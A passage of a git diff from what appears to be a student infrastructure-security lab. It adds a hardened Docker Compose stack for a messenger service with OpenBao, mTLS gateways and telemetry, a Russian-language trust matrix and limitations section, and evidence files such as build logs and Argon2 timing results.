Tempo backend | App работает, telemetry очередь и RAM ограничены | 19.618 с воздействия, 16 успешных записей и ready файла. Collector 71.06 / 256 MiB, зарегистрировано 193 потерянных spans | [Лог](evidence/incidents.txt) | + +Для диагностики worker проверяйте `queue_depth`, `queue_oldest_age_seconds`, +`QueueLagGrowing` и consumer trace. Для DB сравнивайте HTTP span с +`db.execute` и `error.type`. После снятия lock повторите идемпотентный POST. +При отказе telemetry используйте `otelcol_exporter_send_failed_spans_total`, +очередь и ошибки exporter. ## Ограничения и следующие шаги -TODO: какие отказы выдерживаются и какие нет; что не реализовано; где учебное упрощение; какое улучшение подтверждено, а какое пока гипотеза. +Один Docker host и по одному экземпляру PostgreSQL, S3, broker, OpenBao и LB. +Отказ API выдерживается в пределах стенда. Потеря host или единственного +хранилища требует восстановления. Учебная ротация даёт короткий перерыв. +Пароли KV статичны для PostgreSQL/S3/Redis, отказ после срока lease +обеспечивается в процессах приложения. Уже активные операции заканчиваются +в рамках своих таймаутов. Изменения KV и стороннего хранилища выполняются +последовательно. Если операция прервана между шагами, оператор повторяет +`python3 -m scripts.bao_operator rotate-db` или `rotate-s3`, затем +`docker compose up -d --force-recreate --no-deps api` и `python3 scripts/wait_ready.py`. +Для production нужны раздельное хранение unseal shares, +управляемое обновление leaf и CA, обновление образов по результатам сканирования +и защита от исчерпания общего бюджета login. Остаточные находки рассмотрены +в [scan triage](security/SCAN_TRIAGE.md). diff --git a/compose.yaml b/compose.yaml new file mode 100644 index 0000000..e169b98 --- /dev/null +++ b/compose.yaml @@ -0,0 +1,352 @@ +name: mtusi2026lab7 + +x-hardening: &hardening + read_only: true + cap_drop: [ALL] + security_opt: [no-new-privileges:true] + tmpfs: + - /tmp:size=24m,noexec,nosuid,nodev,mode=1777 + pids_limit: 96 + cpus: 0.5 + mem_limit: 256m + logging: + driver: json-file + options: {max-size: 5m, max-file: "2"} + +x-app: &app + <<: *hardening + image: mtusi2026lab7-app:1 + build: . + restart: on-failure + +x-app-env: &app-env + S3_ENDPOINT: https://s3:9000 + S3_BUCKET: messenger-attachments + S3_REGION: us-east-1 + BAO_ADDR: https://openbao:8200 + OTEL_EXPORTER_OTLP_ENDPOINT: https://collector:4318 + OTEL_EXPORTER_OTLP_CERTIFICATE: /pki/ca.crt + OTEL_EXPORTER_OTLP_CLIENT_CERTIFICATE: /pki/service.crt + OTEL_EXPORTER_OTLP_CLIENT_KEY: /pki/service.key + JOB_TIMEOUT_SECONDS: "30" + JOB_LEASE_SECONDS: "15" + JOB_MAX_ATTEMPTS: "5" + +x-gateway: &gateway + <<: *hardening + image: haproxy:3.0.11-bookworm + user: "99:99" + mem_limit: 96m + +services: + volume-permissions: + <<: *app + profiles: [setup] + restart: "no" + user: "0:0" + cap_add: [CHOWN] + command: [sh, -ec, "chown 10001:10001 /vol/s3 /vol/otel /vol/tempo /vol/loki; chown 100:1000 /vol/bao"] + volumes: + - s3_data:/vol/s3 + - collector_data:/vol/otel + - tempo_data:/vol/tempo + - loki_data:/vol/loki + - bao_raft_active:/vol/bao + + db: + <<: *hardening + image: postgres:16.9-bookworm + cap_add: [CHOWN, DAC_OVERRIDE, FOWNER, SETUID, SETGID] + entrypoint: [/bin/sh, /infra/db-entrypoint.sh] + tmpfs: + - /var/run/postgresql:size=8m,nosuid,nodev + - /run/pg-tls:size=1m,nosuid,nodev + - /tmp:size=16m,nosuid,nodev + cpus: 1 + mem_limit: 512m + environment: + POSTGRES_DB: messenger + POSTGRES_USER: postgres + POSTGRES_PASSWORD_FILE: /credentials/db_owner + POSTGRES_INITDB_ARGS: --auth-host=scram-sha-256 --auth-local=peer + volumes: + - postgres_data:/var/lib/postgresql/data + - ./secrets/bootstrap/db:/credentials:ro + - ./secrets/runtime/db:/pki:ro + - ./infra/db-entrypoint.sh:/infra/db-entrypoint.sh:ro + - ./infra/pg_hba.conf:/etc/lab-pg-hba.conf:ro + - ./infra/pg-init.sh:/docker-entrypoint-initdb.d/10-roles.sh:ro + healthcheck: + test: [CMD, pg_isready, -h, db, -U, postgres, -d, messenger] + interval: 2s + timeout: 3s + retries: 30 + + audit: + <<: *app + networks: [default, vault] + profiles: [audit] + restart: "no" + command: [python, /app/student-tests/trust.py] + volumes: + - ./secrets/runtime:/audit/runtime:ro + - ./secrets/foreign/client:/audit/foreign/client:ro + - ./secrets/rotation/probe:/audit/rotation:ro + - ./student-tests:/app/student-tests:ro + - ./secrets/runtime/api/ca.crt:/pki/ca.crt:ro + + migrate: + <<: *app + restart: "no" + command: [python, -m, src.launch, migrate] + volumes: + - ./secrets/runtime/db/ca.crt:/pki/ca.crt:ro + - ./secrets/bootstrap/db/db_owner:/credentials/db_owner:ro + + s3: + <<: *hardening + image: cgr.dev/chainguard/minio@sha256:616286de6ef3a1892876b126e745e152d8e03add6357203f8a1f854bdd1dce76 + user: "10001:10001" + command: [server, /data, --address, ":9000", --console-address, "127.0.0.1:9001", --certs-dir, /pki] + cpus: 1 + mem_limit: 512m + environment: + HOME: /tmp + MINIO_BROWSER: "off" + MINIO_ROOT_USER: operator + MINIO_ROOT_PASSWORD_FILE: /credentials/root + volumes: + - s3_data:/data + - ./secrets/runtime/s3:/pki:ro + - ./secrets/bootstrap/s3/root:/credentials/root:ro + + s3-bootstrap: + <<: *hardening + image: mtusi2026lab7-mc:2025-04-16 + build: + context: . + dockerfile: infra/s3.Dockerfile + args: + COMPONENT: mc + RELEASE: RELEASE.2025-04-16T18-13-26Z + SHA256: ac90da87a35641be5a0ac75d49de5161ddb47d629b5ba01261b0ae9e00aea15f + user: "10001:10001" + entrypoint: [/bin/sh, /bootstrap.sh] + volumes: + - ./scripts/bootstrap_s3.sh:/bootstrap.sh:ro + - ./infra/s3:/policies:ro + - ./secrets/bootstrap/s3:/credentials:ro + - ./secrets/runtime/s3/ca.crt:/pki/ca.crt:ro + + openbao: + <<: *hardening + networks: [vault] + image: openbao/openbao:2.7.2 + user: "100:1000" + entrypoint: [bao] + command: [server, -config=/etc/lab-bao.hcl] + ports: ["127.0.0.1:8207:8200"] + volumes: + - bao_raft_active:/openbao/file + - bao_logs:/openbao/logs + - ./infra/openbao/server.hcl:/etc/lab-bao.hcl:ro + - ./secrets/runtime/openbao:/pki:ro + + lb: + <<: *gateway + ports: ["127.0.0.1:8443:8443"] + volumes: + - ./infra/haproxy.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro + - ./secrets/runtime/lb:/pki:ro + + api: + <<: *app + networks: [default, vault] + tmpfs: + - /tmp:size=48m,noexec,nosuid,nodev,mode=1777 + scale: 2 + cpus: 1 + mem_limit: 512m + environment: + <<: *app-env + BAO_ROLE: api + SESSION_TTL_SECONDS: ${SESSION_TTL_SECONDS:-3600} + OTEL_SERVICE_NAME: messenger-api + volumes: + - ./secrets/runtime/api:/pki:ro + healthcheck: + test: [CMD, python, /app/scripts/api_health.py] + interval: 4s + timeout: 3s + retries: 18 + + broker: + <<: *gateway + volumes: + - ./infra/tls/broker.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro + - ./secrets/runtime/broker:/pki:ro + + streams: + <<: *hardening + image: redis:7.4.3-bookworm + network_mode: service:broker + depends_on: [broker] + user: "999:999" + command: [redis-server, /etc/lab-redis.conf] + volumes: + - broker_data:/data + - ./secrets/runtime/broker/users.acl:/credentials/users.acl:ro + - ./infra/redis.conf:/etc/lab-redis.conf:ro + + worker: + <<: *app + networks: [default, vault] + tmpfs: + - /tmp:size=48m,noexec,nosuid,nodev,mode=1777 + cpus: 1 + mem_limit: 768m + command: [python, -m, src.launch, worker] + environment: + <<: *app-env + BAO_ROLE: worker + OTEL_SERVICE_NAME: messenger-worker + WORKER_CONCURRENCY: "1" + WORKER_IMAGE_MEMORY_MIB: "512" + volumes: + - ./secrets/runtime/worker:/pki:ro + + dispatcher: + <<: *app + networks: [default, vault] + command: [python, -m, src.launch, dispatcher] + environment: + <<: *app-env + BAO_ROLE: dispatcher + OTEL_SERVICE_NAME: messenger-dispatcher + volumes: + - ./secrets/runtime/dispatcher:/pki:ro + + reconciler: + <<: *app + networks: [default, vault] + command: [python, -m, src.launch, cleanup, --apply, --loop] + environment: + <<: *app-env + BAO_ROLE: reconciler + OTEL_SERVICE_NAME: messenger-reconciler + volumes: + - ./secrets/runtime/reconciler:/pki:ro + + collector: + <<: *gateway + volumes: + - ./infra/tls/collector.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro + - ./secrets/runtime/collector:/pki:ro + + otel: + <<: *hardening + image: otel/opentelemetry-collector-contrib:0.123.0 + network_mode: service:collector + depends_on: [collector] + user: "10001:10001" + command: [--config=/etc/otel/config.yaml] + volumes: + - ./infra/otel/collector.yaml:/etc/otel/config.yaml:ro + - ./secrets/runtime/collector:/pki:ro + - collector_data:/var/lib/otel + + prometheus: + <<: *gateway + volumes: + - ./infra/tls/prometheus.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro + - ./secrets/runtime/prometheus:/pki:ro + + metrics: + <<: *hardening + image: prom/prometheus:v3.2.1 + network_mode: service:prometheus + depends_on: [prometheus] + command: + - --config.file=/etc/prometheus/prometheus.yaml + - --storage.tsdb.path=/prometheus + - --storage.tsdb.retention.time=2d + - --web.listen-address=127.0.0.1:19090 + volumes: + - ./infra/otel/prometheus.yaml:/etc/prometheus/prometheus.yaml:ro + - ./infra/otel/alerts.yaml:/etc/prometheus/alerts.yaml:ro + - ./infra/otel/recording.yaml:/etc/prometheus/recording.yaml:ro + - ./secrets/runtime/scraper:/pki:ro + - prometheus_data:/prometheus + + loki: + <<: *gateway + volumes: + - ./infra/tls/loki.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro + - ./secrets/runtime/loki:/pki:ro + + logs: + <<: *hardening + image: grafana/loki:3.4.2 + network_mode: service:loki + depends_on: [loki] + mem_limit: 384m + command: [-config.file=/etc/loki/config.yaml] + volumes: + - ./infra/otel/loki.yaml:/etc/loki/config.yaml:ro + - loki_data:/loki + + tempo: + <<: *gateway + volumes: + - ./infra/tls/tempo.cfg:/usr/local/etc/haproxy/haproxy.cfg:ro + - ./secrets/runtime/tempo:/pki:ro + + traces: + <<: *hardening + image: grafana/tempo:2.7.2 + network_mode: service:tempo + depends_on: [tempo] + user: "10001:10001" + cpus: 1 + mem_limit: 512m + command: [-config.file=/etc/tempo/config.yaml] + volumes: + - ./infra/otel/tempo.yaml:/etc/tempo/config.yaml:ro + - tempo_data:/var/tempo + + grafana: + <<: *hardening + image: grafana/grafana:11.6.0-ubuntu + ports: ["127.0.0.1:3007:3000"] + mem_limit: 512m + environment: + GF_SERVER_PROTOCOL: https + GF_SERVER_CERT_FILE: /pki/service.crt + GF_SERVER_CERT_KEY: /pki/service.key + GF_SECURITY_ADMIN_PASSWORD__FILE: /credentials/admin + GF_USERS_ALLOW_SIGN_UP: "false" + GF_AUTH_ANONYMOUS_ENABLED: "false" + GF_ANALYTICS_REPORTING_ENABLED: "false" + GF_PLUGINS_PREINSTALL_DISABLED: "true" + volumes: + - grafana_data:/var/lib/grafana + - ./secrets/runtime/grafana:/pki:ro + - ./secrets/bootstrap/grafana/admin:/credentials/admin:ro + - ./secrets/runtime/grafana/sources.yaml:/etc/grafana/provisioning/datasources/lab7.yaml:ro + - ./infra/otel/grafana/provisioning/dashboards:/etc/grafana/provisioning/dashboards:ro + - ./infra/otel/grafana/dashboards:/var/lib/grafana/dashboards:ro + +volumes: + postgres_data: + s3_data: + bao_raft_active: + bao_logs: + broker_data: + collector_data: + prometheus_data: + loki_data: + tempo_data: + grafana_data: + +networks: + vault: diff --git a/contracts/trust-matrix.md b/contracts/trust-matrix.md index 0c2a977..5209446 100644 --- a/contracts/trust-matrix.md +++ b/contracts/trust-matrix.md @@ -1,21 +1,21 @@ -# Матрица доверия — заполнить в решении lab7 +# Матрица доверия — lab7 Это обязательная матрица покрытия. Для каждой строки укажите реальный порт, endpoint, CA, service identity, проверку SAN/ACL, срок жизни credentials и команду положительного/отрицательного теста. TLS шифрует и подтверждает сервер; mTLS также проверяет клиента. При доверенном CA всё равно нужно ограничивать разрешённую identity. Plaintext hop допустим только внутри закрытого локального transport/proxy boundary, без опубликованного обхода; границу и rationale нужно доказать. | Связь | Минимум на 3 | Дополнительно на 4 | Доказательство / конфиг | | --- | --- | --- | --- | -| Клиент → ingress/LB | TLS, CA + hostname, Bearer | Проверка expiry/revocation сессии и общего login rate limit | TODO | -| LB → API (все реплики) | mTLS + allowlist LB identity | Ротация leaf без обхода проверки | TODO | -| API/worker → PostgreSQL | TLS verify-full + раздельные ограниченные DB roles | Ротация credentials; mTLS — допустимое усиление | TODO | -| API/worker → S3 | TLS + разные scoped credentials/prefix rights | Проверка denied prefix и ротация | TODO | -| API/worker → broker | TLS + разные producer/consumer identities и ACL | mTLS + ограничение допустимых SAN/ролей | TODO | -| API/worker → Collector | TLS; сеть/аутентификация запрещает произвольный ingest | mTLS с раздельными identities | TODO | -| Collector → telemetry backends | TLS + scoped backend credentials или mTLS | Ротация и проверка least privilege | TODO | -| Grafana → data sources | TLS с проверкой сервера, ограниченная identity | Отрицательные проверки доступа | TODO | -| API/worker/agent → OpenBao | TLS + сервисный auth + scoped policy | Renewal/expiry/revocation | TODO | -| Оператор → OpenBao/Grafana/S3 admin | TLS + authentication, доступ локальный/через защищённый канал | Разделение operator/application roles | TODO | -| API → Redis/Valkey, если используется | TLS + ACL/пароль с минимальными правами | Ротация; mTLS по возможности | TODO | -| Replication/кластерные каналы, если добавлены | TLS/mTLS либо подтверждённый шифрованный transport | Проверка заявленной модели отказа | TODO | +| Клиент → ingress/LB | TLS, CA + hostname, Bearer | Проверка expiry/revocation сессии и общего login rate limit | localhost:8443, Lab7 CA, DNS localhost / IP 127.0.0.1; Basic только login, Bearer 3600 с; logout/2 с expiry/глобальные 24 входа за 10 с. `make test-security`, `student-tests/http_security.py`, `scripts/test_expiry.sh`. | +| LB → API (все реплики) | mTLS + allowlist LB identity | Ротация leaf без обхода проверки | `api:8444` на обеих репликах, Lab7 CA + SAN api при проверке LB; API принимает SAN lb и только активный serial 7-дневного leaf. `docker compose run --rm -T audit`, `python3 student-tests/lifecycle.py leaf`. | +| API/worker → PostgreSQL | TLS verify-full + раздельные ограниченные DB roles | Ротация credentials; mTLS — допустимое усиление | `db:5432`, Lab7 CA, SAN db, verify-full + SCRAM; роли lab_api, lab_worker, lab_dispatcher, lab_reconciler и отдельный owner миграций. Рабочий пароль до ротации, допуск процесса ограничен lease 30 с. Audit проверяет TLS/имя/доступ к users; `lifecycle.py db` проверяет старый и новый пароль. | +| API/worker → S3 | TLS + разные scoped credentials/prefix rights | Проверка denied prefix и ротация | `s3:9000`, Lab7 CA, SAN s3, AWS SigV4, приватный messenger-attachments. API пишет staging и читает originals/variants; worker читает staging и публикует результат; reconciler чистит staging. Пароли до ротации, процесс ограничен lease OpenBao. Audit проверяет чужие префиксы, list и unsigned GET известного объекта. `lifecycle.py s3` проверяет старый и новый SigV4 credential. | +| API/worker → broker | TLS + разные producer/consumer identities и ACL | mTLS + ограничение допустимых SAN/ролей | `broker:6380` → 127.0.0.1:6379 только в netns broker/streams. TLS Lab7 CA, SAN broker, точные CN dispatcher/worker (leaf 7 дней) + разные Redis ACL и ключ attachments.jobs. Dispatcher публикует от имени API через durable outbox; сам API не получает broker secret. Audit использует действующий пароль с отсутствующим, чужим и запрещённым cert; проверяет ACL команд и ключей. | +| API/worker → Collector | TLS; сеть/аутентификация запрещает произвольный ingest | mTLS с раздельными identities | `collector:4318` → 127.0.0.1:14318. TLS Lab7 CA, SAN collector, точные CN api/worker/dispatcher/reconciler; leaf 7 дней, POST только на три OTLP endpoint. Audit проверяет каждую роль и три варианта отказа. | +| Collector → telemetry backends | TLS + scoped backend credentials или mTLS | Ротация и проверка least privilege | Collector CN collector-export и active fingerprint → `loki:3100/otlp/v1/logs`, `tempo:4318/v1/traces`, Lab7 CA, SAN цели и 7-дневные leaf. Только POST ingest, роли Grafana/API отклоняются. Prometheus pull → `collector:8888/8889` только CN scraper и GET /metrics. Audit и `telemetry_audit.py` проверяют права и реальные сигналы, `lifecycle.py collector` — ротацию exporter leaf. | +| Grafana → data sources | TLS с проверкой сервера, ограниченная identity | Отрицательные проверки доступа | Grafana CN grafana (leaf 7 дней) → `prometheus:9090`, `loki:3100`, `tempo:3200`, Lab7 CA и SAN сервера; только query маршруты. Audit проверяет отказ app и запрет ingest Grafana; `telemetry_audit.py` проверяет фактический datasource proxy. | +| API/worker/agent → OpenBao | TLS + сервисный auth + scoped policy | Renewal/expiry/revocation | `openbao:8200`, Lab7 CA, SAN openbao, отдельная сеть vault; клиентские cert 7 дней, роли закреплены за leaf + SAN, KV путь messenger/data/<role>. Token TTL 30 с, максимум 300 с с повторным cert-login. Audit проверяет чужой cert/path, policy write; `lifecycle.py bao` проверяет renew, revoke и seal. | +| Оператор → OpenBao/Grafana/S3 admin | TLS + authentication, доступ локальный/через защищённый канал | Разделение operator/application roles | OpenBao localhost:8207, Lab7 CA/SAN localhost, operator cert 7 дней и token 5 мин; Grafana localhost:3007, Lab7 CA/SAN localhost, локальный admin пароль до ротации; MinIO admin только из одноразового bootstrap-контейнера по `s3:9000` с CA/SAN и SigV4. Audit доказывает отказ app, `telemetry_audit.py` — Grafana без login 401. Root OpenBao отзывается после init. | +| API → Redis/Valkey, если используется | TLS + ACL/пароль с минимальными правами | Ротация; mTLS по возможности | N/A для профилей и сессий. Источник истины PostgreSQL; Redis Streams существует только как broker с отдельным ACL выше. | +| Replication/кластерные каналы, если добавлены | TLS/mTLS либо подтверждённый шифрованный transport | Проверка заявленной модели отказа | N/A для межузловой репликации. PostgreSQL, Redis, S3 и OpenBao Raft по одному экземпляру. OpenBao cluster listener ограничен 127.0.0.1:8201; API-реплики не общаются напрямую. | Нет выбранного компонента — отметьте N/A с причиной, а не оставляйте пустую строку. Внутренний публичный health listener, если нужен, минимален и изолирован; через него нельзя обращаться к бизнес-API без mTLS. Отдельно задокументируйте scrape/health/bootstrap каналы: они тоже не должны создавать обход. @@ -35,3 +35,7 @@ OpenBao не использует dev-mode. Выберите persistent storage и auth метод (например AppRole с короткоживущим SecretID/response wrapping, cert auth или иная обоснованная identity). Не подменяйте root token постоянной переменной BAO_TOKEN в приложении. Рабочие tokens имеют policy, TTL и renewal/re-auth сценарий. Статические KV secrets на 3 допустимы при реальном чтении через сервисную identity; динамические DB credentials — хорошее расширение, но не обязательное название технологии. Разрешённый компромисс учебного стенда: ручной operator init/unseal, если он безопасно документирован и не нужен при каждом обычном рестарте API. Автоматическое хранение всех unseal shares рядом с OpenBao без защиты не считается решённым bootstrap. + +## Служебные каналы + +Пути к конфигурациям — [Compose](../compose.yaml), [LB](../infra/haproxy.cfg), [TLS gateways](../infra/tls), [OpenBao](../infra/openbao), [DB ACL](../migrations/006_security.sql), [S3 IAM](../infra/s3). Из среды Docker напрямую достижимы только TLS-порты зависимостей. У каждого sidecar свой network namespace с конкретным backend. HTTP/gRPC и Redis за proxy привязаны к loopback этого namespace. Loki и Tempo используют loopback для внутрипроцессных RPC. Внешний LB проверяет readiness и liveness через тот же mTLS. PostgreSQL использует peer только на Unix socket контейнера для init/оператора. Публичные health API не дают доступа к данным. Отдельный Compose probe проверяет отсутствие сетевого доступа к plaintext-портам. diff --git a/evidence/README.md b/evidence/README.md index 8df7001..2ac6556 100644 --- a/evidence/README.md +++ b/evidence/README.md @@ -1,5 +1,25 @@ -# Доказательства +# Доказательства lab7 -Храните небольшие обезличенные результаты: команды и stdout проверок, JSON/CSV агрегатов нагрузки, EXPLAIN, dashboard JSON, текст разбора отказа. Укажите дату, commit, аппаратные лимиты и профиль нагрузки. +- [Offline structure](check.txt) и [OpenAPI](validate.txt). +- [HTTPS smoke](smoke.txt), [CA verification](public-security.txt), + [HTTP ACL и Argon2id](http-security.txt), [expiry](expiry.txt), + [общий бюджет входа](login-budget.txt), [измерение KDF](argon2-cost.txt). +- [Внутренние TLS и ACL](trust.txt), [hardening контейнеров](hardening.txt), + [OTel/Grafana и canary scan](telemetry-audit.txt). +- [PostgreSQL secret](rotation-db.txt), [S3 secret](rotation-s3.txt), + [leaf LB](rotation-leaf.txt), [leaf Collector](rotation-collector.txt), + [renew/revoke/seal OpenBao](openbao-lifecycle.txt). +- [Persistence](persistence.txt) и фактический [scope до](persistence-before.txt) / + [после](persistence-after.txt). [Первый failover](failover-1.txt), + [второй failover](failover-2.txt), [контейнеры и alias](failover-hook.txt). +- [Инциденты worker, DB и Tempo](incidents.txt), [нагрузка](load.json), + [CPU/RAM](load-resources.txt), данные [до](load-data-before.txt) / + [после](load-data-after.txt). +- [Разбор образов и зависимостей](../security/SCAN_TRIAGE.md), + [итоговый pip-audit](pip-audit-final.json), таблицы `trivy-*.txt`. +- [Повтор bootstrap](bootstrap.txt), [аудит исходников](source-audit.txt), + [контрольные суммы lab6](lab6-baseline.sha256). -Не добавляйте .env, session tokens, cookies, приватные ключи, credentials, реальные сообщения, raw dumps и signed URLs. Для скриншотов скрывайте секреты. Большие логи/бинарные traces сохраняйте отдельно по правилам преподавателя; одного скриншота без методики недостаточно. +В файлах есть технические alias, request/trace IDs и имена контейнеров. +Пароли, токены, приватные ключи и unseal shares остаются в локальном +`secrets/`, исключённом из Git и Docker build context. diff --git a/evidence/argon2-cost.txt b/evidence/argon2-cost.txt new file mode 100644 index 0000000..7405b28 --- /dev/null +++ b/evidence/argon2-cost.txt @@ -0,0 +1,2 @@ +{"checks": 50, "concurrency": 1, "p50_ms": 19.099, "p95_ms": 21.59, "cpu_seconds": 0.967, "wall_seconds": 0.977, "peak_rss_mib": 44.676} +{"checks": 50, "concurrency": 2, "p50_ms": 22.438, "p95_ms": 73.689, "cpu_seconds": 1.08, "wall_seconds": 1.085, "peak_rss_mib": 63.691} diff --git a/evidence/bootstrap.txt b/evidence/bootstrap.txt new file mode 100644 index 0000000..51e82a4 --- /dev/null +++ b/evidence/bootstrap.txt @@ -0,0 +1,158 @@ +Local PKI updated: bootstrap +#0 building with "default" instance using docker driver + +#1 [s3-bootstrap internal] load build definition from s3.Dockerfile +#1 transferring dockerfile: 922B done +#1 DONE 0.0s + +#2 [api internal] load build definition from Dockerfile +#2 transferring dockerfile: 766B done +#2 DONE 0.0s + +#3 [s3-bootstrap] resolve image config for docker-image://docker.io/docker/dockerfile:1.7.0 +#3 DONE 1.1s + +#4 [api internal] load metadata for docker.io/library/python:3.12.10-slim-bookworm +#4 ... + +#5 [s3-bootstrap] docker-image://docker.io/docker/dockerfile:1.7.0@sha256:dbbd5e059e8a07ff7ea6233b213b36aa516b4c53c645f1817a4dd18b83cbea56 +#5 CACHED + +#4 [s3-bootstrap internal] load metadata for docker.io/library/python:3.12.10-slim-bookworm +#4 DONE 1.4s + +#6 [s3-bootstrap internal] load .dockerignore +#6 transferring context: 196B done +#6 DONE 0.0s + +#7 [api internal] load .dockerignore +#7 transferring context: 196B done +#7 DONE 0.0s + +#8 [s3-bootstrap 1/10] FROM docker.io/library/python:3.12.10-slim-bookworm@sha256:fd95fa221297a88e1cf49c55ec1828edd7c5a428187e67b5d1805692d11588db +#8 DONE 0.0s + +#9 [s3-bootstrap internal] load build context +#9 transferring context: 71B done +#9 DONE 0.0s + +#10 [s3-bootstrap 2/3] RUN python - <<'PY' +#10 CACHED + +#11 [s3-bootstrap 3/3] COPY infra/minio-entrypoint.sh /entrypoint.sh +#11 CACHED + +#12 [s3-bootstrap] exporting to image +#12 exporting layers done +#12 writing image sha256:d119485bc0d5d860b6e10b26091ed11aaf1b9fc8c5b87d8d5f7261215c7e4709 done +#12 naming to docker.io/library/mtusi2026lab7-mc:2025-04-16 done +#12 DONE 0.0s + +#13 [api internal] load build context +#13 transferring context: 103.96kB 0.0s done +#13 DONE 0.0s + +#14 [api 3/10] COPY requirements.txt requirements.runtime.lock ./ +#14 CACHED + +#15 [api 2/10] WORKDIR /app +#15 CACHED + +#16 [api 4/10] RUN pip install --no-cache-dir --requirement requirements.runtime.lock && groupadd --system --gid 10001 app && useradd --system --uid 10001 --gid app --home-dir /nonexistent --shell /usr/sbin/nologin app +#16 CACHED + +#17 [api 5/10] COPY --chown=app:app src ./src +#17 DONE 0.0s + +#18 [api 6/10] COPY --chown=app:app migrations ./migrations +#18 DONE 0.1s + +#19 [api 7/10] COPY --chown=app:app scripts ./scripts +#19 DONE 0.0s + +#20 [api 8/10] COPY --chown=app:app student-tests ./student-tests +#20 DONE 0.0s + +#21 [api 9/10] COPY --chown=app:app contracts ./contracts +#21 DONE 0.0s + +#22 [api 10/10] COPY --chown=app:app lab.json ./lab.json +#22 DONE 0.0s + +#23 [api] exporting to image +#23 exporting layers 0.1s done +#23 writing image sha256:384585fa8cccec6aa581ba2dce3c65b76f113d5d9a486fbf923ffc916ec6a807 done +#23 naming to docker.io/library/mtusi2026lab7-app:1 done +#23 DONE 0.1s + Container mtusi2026lab7-s3-1 Running + Container mtusi2026lab7-openbao-1 Running + Container mtusi2026lab7-broker-1 Running + Container mtusi2026lab7-loki-1 Running + Container mtusi2026lab7-db-1 Running + Container mtusi2026lab7-grafana-1 Running + Container mtusi2026lab7-streams-1 Running + Container mtusi2026lab7-collector-1 Running + Container mtusi2026lab7-prometheus-1 Running + Container mtusi2026lab7-logs-1 Recreate + Container mtusi2026lab7-metrics-1 Running + Container mtusi2026lab7-tempo-1 Running + Container mtusi2026lab7-traces-1 Running + Container mtusi2026lab7-otel-1 Recreate + Container mtusi2026lab7-otel-1 Recreated + Container mtusi2026lab7-logs-1 Recreated + Container mtusi2026lab7-otel-1 Starting + Container mtusi2026lab7-logs-1 Starting + Container mtusi2026lab7-logs-1 Started + Container mtusi2026lab7-otel-1 Started + Container mtusi2026lab7-grafana-1 Waiting + Container mtusi2026lab7-tempo-1 Waiting + Container mtusi2026lab7-db-1 Waiting + Container mtusi2026lab7-s3-1 Waiting + Container mtusi2026lab7-otel-1 Waiting + Container mtusi2026lab7-prometheus-1 Waiting + Container mtusi2026lab7-broker-1 Waiting + Container mtusi2026lab7-openbao-1 Waiting + Container mtusi2026lab7-logs-1 Waiting + Container mtusi2026lab7-streams-1 Waiting + Container mtusi2026lab7-loki-1 Waiting + Container mtusi2026lab7-traces-1 Waiting + Container mtusi2026lab7-metrics-1 Waiting + Container mtusi2026lab7-collector-1 Waiting + Container mtusi2026lab7-prometheus-1 Healthy + Container mtusi2026lab7-loki-1 Healthy + Container mtusi2026lab7-metrics-1 Healthy + Container mtusi2026lab7-otel-1 Healthy + Container mtusi2026lab7-grafana-1 Healthy + Container mtusi2026lab7-collector-1 Healthy + Container mtusi2026lab7-db-1 Healthy + Container mtusi2026lab7-streams-1 Healthy + Container mtusi2026lab7-s3-1 Healthy + Container mtusi2026lab7-logs-1 Healthy + Container mtusi2026lab7-openbao-1 Healthy + Container mtusi2026lab7-broker-1 Healthy + Container mtusi2026lab7-traces-1 Healthy + Container mtusi2026lab7-tempo-1 Healthy +OpenBao operator action completed: bootstrap +Private bucket and scoped accounts ready + Container mtusi2026lab7-dispatcher-1 Recreate + Container mtusi2026lab7-api-2 Recreate + Container mtusi2026lab7-lb-1 Running + Container mtusi2026lab7-api-1 Recreate + Container mtusi2026lab7-reconciler-1 Recreate + Container mtusi2026lab7-worker-1 Recreate + Container mtusi2026lab7-api-1 Recreated + Container mtusi2026lab7-api-2 Recreated + Container mtusi2026lab7-reconciler-1 Recreated + Container mtusi2026lab7-worker-1 Recreated + Container mtusi2026lab7-dispatcher-1 Recreated + Container mtusi2026lab7-worker-1 Starting + Container mtusi2026lab7-api-1 Starting + Container mtusi2026lab7-reconciler-1 Starting + Container mtusi2026lab7-dispatcher-1 Starting + Container mtusi2026lab7-dispatcher-1 Started + Container mtusi2026lab7-worker-1 Started + Container mtusi2026lab7-api-1 Started + Container mtusi2026lab7-api-2 Starting + Container mtusi2026lab7-reconciler-1 Started + Container mtusi2026lab7-api-2 Started +Ready aliases: 0e62bb6f680345169380559fd1599a4b, 1e83fd8a5a434aa59e24722e604f84e9 diff --git a/evidence/build.txt b/evidence/build.txt new file mode 100644 index 0000000..e7cb367 --- /dev/null +++ b/evidence/build.txt @@ -0,0 +1,52 @@ +#0 building with "default" instance using docker driver + +#1 [api internal] load build definition from Dockerfile +#1 transferring dockerfile: 766B done +#1 DONE 0.0s + +#2 [api internal] load metadata for docker.io/library/python:3.12.10-slim-bookworm +#2 DONE 1.8s + +#3 [api internal] load .dockerignore +#3 transferring context: 196B done +#3 DONE 0.0s + +#4 [api 1/10] FROM docker.io/library/python:3.12.10-slim-bookworm@sha256:fd95fa221297a88e1cf49c55ec1828edd7c5a428187e67b5d1805692d11588db +#4 DONE 0.0s + +#5 [api internal] load build context +#5 transferring context: 187.63kB done +#5 DONE 0.0s + +#6 [api 2/10] WORKDIR /app +#6 CACHED + +#7 [api 3/10] COPY requirements.txt requirements.runtime.lock ./ +#7 CACHED + +#8 [api 4/10] RUN pip install --no-cache-dir --requirement requirements.runtime.lock && groupadd --system --gid 10001 app && useradd --system --uid 10001 --gid app --home-dir /nonexistent --shell /usr/sbin/nologin app +#8 CACHED + +#9 [api 5/10] COPY --chown=app:app src ./src +#9 DONE 0.0s + +#10 [api 6/10] COPY --chown=app:app migrations ./migrations +#10 DONE 0.0s + +#11 [api 7/10] COPY --chown=app:app scripts ./scripts +#11 DONE 0.0s + +#12 [api 8/10] COPY --chown=app:app student-tests ./student-tests +#12 DONE 0.1s + +#13 [api 9/10] COPY --chown=app:app contracts ./contracts +#13 DONE 0.1s + +#14 [api 10/10] COPY --chown=app:app lab.json ./lab.json +#14 DONE 0.1s + +#15 [api] exporting to image +#15 exporting layers 0.1s done +#15 writing image sha256:69923ecc44d4e67afe1b9a14186e9a0aacbff89d517a62f220f2b6d2279689ba done +#15 naming to 